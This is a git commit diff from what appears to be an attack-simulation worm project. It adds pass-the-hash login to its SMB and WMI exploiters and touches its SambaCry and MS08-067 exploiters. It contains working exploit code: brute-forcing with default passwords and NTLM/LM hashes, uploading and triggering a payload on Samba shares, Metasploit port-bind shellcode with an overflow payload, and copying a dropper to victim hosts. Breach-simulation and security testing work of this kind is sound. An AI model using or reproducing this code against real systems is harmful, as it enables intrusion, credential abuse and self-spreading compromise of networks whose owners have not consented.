forked from p15670423/monkey
Merge pull request #52 from guardicore/feature/pass-the-hash
Feature/pass the hash
This commit is contained in:
commit
e8583a5bd8
|
@ -231,8 +231,24 @@ class Configuration(object):
|
||||||
"""
|
"""
|
||||||
return product(self.exploit_user_list, self.exploit_password_list)
|
return product(self.exploit_user_list, self.exploit_password_list)
|
||||||
|
|
||||||
|
def get_exploit_user_password_or_hash_product(self):
|
||||||
|
"""
|
||||||
|
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
cred_list = []
|
||||||
|
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
|
||||||
|
cred_list.append(cred)
|
||||||
|
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
|
||||||
|
cred_list.append(cred)
|
||||||
|
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
|
||||||
|
cred_list.append(cred)
|
||||||
|
return cred_list
|
||||||
|
|
||||||
exploit_user_list = ['Administrator', 'root', 'user']
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
exploit_lm_hash_list = []
|
||||||
|
exploit_ntlm_hash_list = []
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
|
|
@ -65,6 +65,8 @@
|
||||||
"skip_exploit_if_file_exist": true,
|
"skip_exploit_if_file_exist": true,
|
||||||
"exploit_user_list": [],
|
"exploit_user_list": [],
|
||||||
"exploit_password_list": [],
|
"exploit_password_list": [],
|
||||||
|
"exploit_lm_hash_list": [],
|
||||||
|
"exploit_ntlm_hash_list": [],
|
||||||
"sambacry_trigger_timeout": 5,
|
"sambacry_trigger_timeout": 5,
|
||||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
|
import itertools
|
||||||
import logging
|
import logging
|
||||||
|
import posixpath
|
||||||
import re
|
import re
|
||||||
import sys
|
|
||||||
import time
|
import time
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
from os import path
|
from os import path
|
||||||
import itertools
|
|
||||||
import posixpath
|
|
||||||
|
|
||||||
import impacket.smbconnection
|
import impacket.smbconnection
|
||||||
from impacket.nt_errors import STATUS_SUCCESS
|
from impacket.nt_errors import STATUS_SUCCESS
|
||||||
|
@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
if not self.is_vulnerable(host):
|
if not self.is_vulnerable(host):
|
||||||
return False
|
return False
|
||||||
|
@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
|
||||||
|
|
||||||
if len(successfully_triggered_shares) > 0:
|
if len(successfully_triggered_shares) > 0:
|
||||||
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
LOG.info(
|
||||||
|
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
|
||||||
|
@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
self.trigger_module(smb_client, share)
|
self.trigger_module(smb_client, share)
|
||||||
smb_client.close()
|
smb_client.close()
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
LOG.debug(
|
||||||
|
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
|
||||||
|
|
||||||
def clean_share(self, ip, share, creds):
|
def clean_share(self, ip, share, creds):
|
||||||
"""
|
"""
|
||||||
|
@ -161,15 +161,15 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return writable_shares_creds_dict
|
return writable_shares_creds_dict
|
||||||
|
|
||||||
def get_credentials_list(self):
|
def get_credentials_list(self):
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
|
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
|
||||||
|
for user, password, lm_hash, ntlm_hash in creds]
|
||||||
|
|
||||||
# Add empty credentials for anonymous shares.
|
# Add empty credentials for anonymous shares.
|
||||||
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
|
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
|
||||||
|
|
||||||
for user, password in user_password_pairs:
|
return creds
|
||||||
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
|
|
||||||
|
|
||||||
return credentials_list
|
|
||||||
|
|
||||||
def list_shares(self, smb_client):
|
def list_shares(self, smb_client):
|
||||||
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
||||||
|
@ -197,11 +197,14 @@ class SambaCryExploiter(HostExploiter):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
|
||||||
|
samba_version_parts[1] <= "13"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
|
||||||
|
samba_version_parts[1] <= "9"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
|
||||||
|
samba_version_parts[1] <= "3"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
|
|
||||||
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
||||||
|
@ -243,7 +246,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
|
|
||||||
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
|
with self.get_monkey_commandline_file(host, depth,
|
||||||
|
self._config.dropper_target_path_linux) as monkey_commandline_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
|
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
|
@ -325,14 +329,13 @@ class SambaCryExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, host, depth, location):
|
def get_monkey_commandline_file(self, host, depth, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||||
|
|
||||||
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
||||||
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
||||||
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
||||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
||||||
|
|
||||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||||
packet['Command'] = SMB2_CREATE
|
packet['Command'] = SMB2_CREATE
|
||||||
|
@ -406,5 +409,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
shareMode=FILE_SHARE_READ,
|
||||||
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||||
|
fileAttributes=0)
|
||||||
|
|
|
@ -16,12 +16,12 @@ try:
|
||||||
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
||||||
from impacket.smb import SessionError as SessionError2
|
from impacket.smb import SessionError as SessionError2
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
from impacket.smb3 import SessionError as SessionError3
|
||||||
except ImportError, exc:
|
except ImportError as exc:
|
||||||
print str(exc)
|
print str(exc)
|
||||||
print 'Install the following library to make this script work'
|
print 'Install the following library to make this script work'
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||||
sys.exit(1)
|
raise
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for user, password in user_password_pairs:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
user,
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
user,
|
||||||
|
password,
|
||||||
|
lm_hash,
|
||||||
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout)
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||||
host, user, password)
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
host.learn_credentials(user, password)
|
host.learn_credentials(user, password)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, user, password)
|
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
|
||||||
user, password, exc)
|
user, password, lm_hash, ntlm_hash, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
|
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(user, password, host.ip_addr,
|
rpctransport.set_credentials(user, password, '',
|
||||||
"", "", None)
|
lm_hash, ntlm_hash, None)
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
scmr_rpc = rpctransport.get_dce_rpc()
|
scmr_rpc = rpctransport.get_dce_rpc()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -62,7 +62,7 @@ class WmiTools(object):
|
||||||
try:
|
try:
|
||||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||||
wmi.IID_IWbemLevel1Login)
|
wmi.IID_IWbemLevel1Login)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
dcom.disconnect()
|
dcom.disconnect()
|
||||||
|
|
||||||
if "rpc_s_access_denied" == exc.message:
|
if "rpc_s_access_denied" == exc.message:
|
||||||
|
@ -156,7 +156,7 @@ class WmiTools(object):
|
||||||
query_record[key] = record[key]['value']
|
query_record[key] = record[key]['value']
|
||||||
|
|
||||||
query.append(query_record)
|
query.append(query_record)
|
||||||
except DCERPCSessionError, exc:
|
except DCERPCSessionError as exc:
|
||||||
if 1 == exc.error_code:
|
if 1 == exc.error_code:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -169,20 +169,21 @@ class WmiTools(object):
|
||||||
|
|
||||||
class SmbTools(object):
|
class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def copy_file(host, username, password, src_path, dst_path, timeout=60):
|
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
|
||||||
config = __import__('config').WormConfiguration
|
config = __import__('config').WormConfiguration
|
||||||
src_file_size = monkeyfs.getsize(src_path)
|
src_file_size = monkeyfs.getsize(src_path)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
|
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# skip guest users
|
# skip guest users
|
||||||
if smb.isGuestSession() > 0:
|
if smb.isGuestSession() > 0:
|
||||||
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
|
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||||
host, username, password)
|
" LM hash: %s, NTLM hash: %s",
|
||||||
|
host, username, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.logoff()
|
smb.logoff()
|
||||||
|
@ -193,7 +194,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None
|
return None
|
||||||
|
@ -210,7 +211,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None
|
return None
|
||||||
|
@ -252,13 +253,13 @@ class SmbTools(object):
|
||||||
share_path = share['share_path']
|
share_path = share['share_path']
|
||||||
|
|
||||||
if not smb:
|
if not smb:
|
||||||
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
|
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
tid = smb.connectTree(share_name)
|
tid = smb.connectTree(share_name)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||||
share_name, host, exc)
|
share_name, host, exc)
|
||||||
continue
|
continue
|
||||||
|
@ -293,7 +294,7 @@ class SmbTools(object):
|
||||||
src_path, share_name, share_path, host)
|
src_path, share_name, share_path, host)
|
||||||
|
|
||||||
break
|
break
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||||
share_name, host, exc)
|
share_name, host, exc)
|
||||||
continue
|
continue
|
||||||
|
@ -307,23 +308,23 @@ class SmbTools(object):
|
||||||
|
|
||||||
if not file_uploaded:
|
if not file_uploaded:
|
||||||
LOG.debug("Couldn't find a writable share for exploiting"
|
LOG.debug("Couldn't find a writable share for exploiting"
|
||||||
" victim %r with username %s and password '%s'",
|
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||||
host, username, password)
|
host, username, password, lm_hash, ntlm_hash)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return remote_full_path
|
return remote_full_path
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def new_smb_connection(host, username, password, timeout=60):
|
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||||
try:
|
try:
|
||||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||||
" trying port 139 (%s)", host, exc)
|
" trying port 139 (%s)", host, exc)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None, None
|
return None, None
|
||||||
|
@ -334,10 +335,10 @@ class SmbTools(object):
|
||||||
|
|
||||||
# we know this should work because the WMI connection worked
|
# we know this should work because the WMI connection worked
|
||||||
try:
|
try:
|
||||||
smb.login(username, password, domain=host.ip_addr)
|
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
|
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||||
host, username, password, exc)
|
host, username, password, lm_hash, ntlm_hash, exc)
|
||||||
return None, dialect
|
return None, dialect
|
||||||
|
|
||||||
smb.setTimeout(timeout)
|
smb.setTimeout(timeout)
|
||||||
|
@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def report_failed_login(exploiter, machine, user, password):
|
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
|
||||||
from control import ControlClient
|
from control import ControlClient
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
telemetry_dict =\
|
||||||
'exploiter': exploiter.__class__.__name__,
|
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
|
||||||
'user': user, 'password': password})
|
'user': user, 'password': password}
|
||||||
|
if lm_hash:
|
||||||
|
telemetry_dict['lm_hash'] = lm_hash
|
||||||
|
if ntlm_hash:
|
||||||
|
telemetry_dict['ntlm_hash'] = ntlm_hash
|
||||||
|
|
||||||
|
ControlClient.send_telemetry('exploit', telemetry_dict)
|
||||||
|
|
||||||
|
|
||||||
def get_binaries_dir_path():
|
def get_binaries_dir_path():
|
||||||
|
|
|
@ -9,32 +9,33 @@
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import socket
|
import socket
|
||||||
from enum import IntEnum
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from model.host import VictimHost
|
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
from enum import IntEnum
|
||||||
from . import HostExploiter
|
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
from exploit.tools import SmbTools, get_target_monkey
|
||||||
from network.tools import check_port_tcp
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
|
from model.host import VictimHost
|
||||||
from network import SMBFinger
|
from network import SMBFinger
|
||||||
|
from network.tools import check_port_tcp
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
|
from . import HostExploiter
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from impacket import smb
|
from impacket import smb
|
||||||
from impacket import uuid
|
from impacket import uuid
|
||||||
#from impacket.dcerpc import dcerpc
|
# from impacket.dcerpc import dcerpc
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
from impacket.smbconnection import SessionError as SessionError1
|
from impacket.smbconnection import SessionError as SessionError1
|
||||||
from impacket.smb import SessionError as SessionError2
|
from impacket.smb import SessionError as SessionError2
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
from impacket.smb3 import SessionError as SessionError3
|
||||||
except ImportError, exc:
|
except ImportError as exc:
|
||||||
print str(exc)
|
print str(exc)
|
||||||
print 'Install the following library to make this script work'
|
print 'Install the following library to make this script work'
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||||
|
@ -62,7 +63,6 @@ SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
|
||||||
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
||||||
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
||||||
|
|
||||||
|
|
||||||
# Payload for Windows 2000 target
|
# Payload for Windows 2000 target
|
||||||
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
||||||
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||||
|
@ -132,7 +132,7 @@ class SRVSVC_Exploit(object):
|
||||||
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
||||||
|
|
||||||
dce_packet = self._build_dce_packet()
|
dce_packet = self._build_dce_packet()
|
||||||
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
|
self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
|
||||||
|
|
||||||
LOG.debug("Exploit sent to %s successfully...", self._target)
|
LOG.debug("Exploit sent to %s successfully...", self._target)
|
||||||
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||||
|
@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
if smb_finger.get_host_fingerprint(host):
|
if smb_finger.get_host_fingerprint(host):
|
||||||
return host.os.get('type') in self._target_os_type and \
|
return host.os.get('type') in self._target_os_type and \
|
||||||
host.os.get('version') in self._windows_versions.keys()
|
host.os.get('version') in self._windows_versions.keys()
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def exploit_host(self, host, depth=-1, src_path=None):
|
def exploit_host(self, host, depth=-1, src_path=None):
|
||||||
|
@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
LOG.debug("Exploited into %r using MS08-067", host)
|
LOG.debug("Exploited into %r using MS08-067", host)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.ms08_067_remote_user_add,
|
|
||||||
self._config.ms08_067_remote_user_pass,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
self._config.ms08_067_remote_user_add,
|
||||||
|
self._config.ms08_067_remote_user_pass)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
"Administrator",
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
"Administrator",
|
||||||
|
password)
|
||||||
if remote_full_path:
|
if remote_full_path:
|
||||||
break
|
break
|
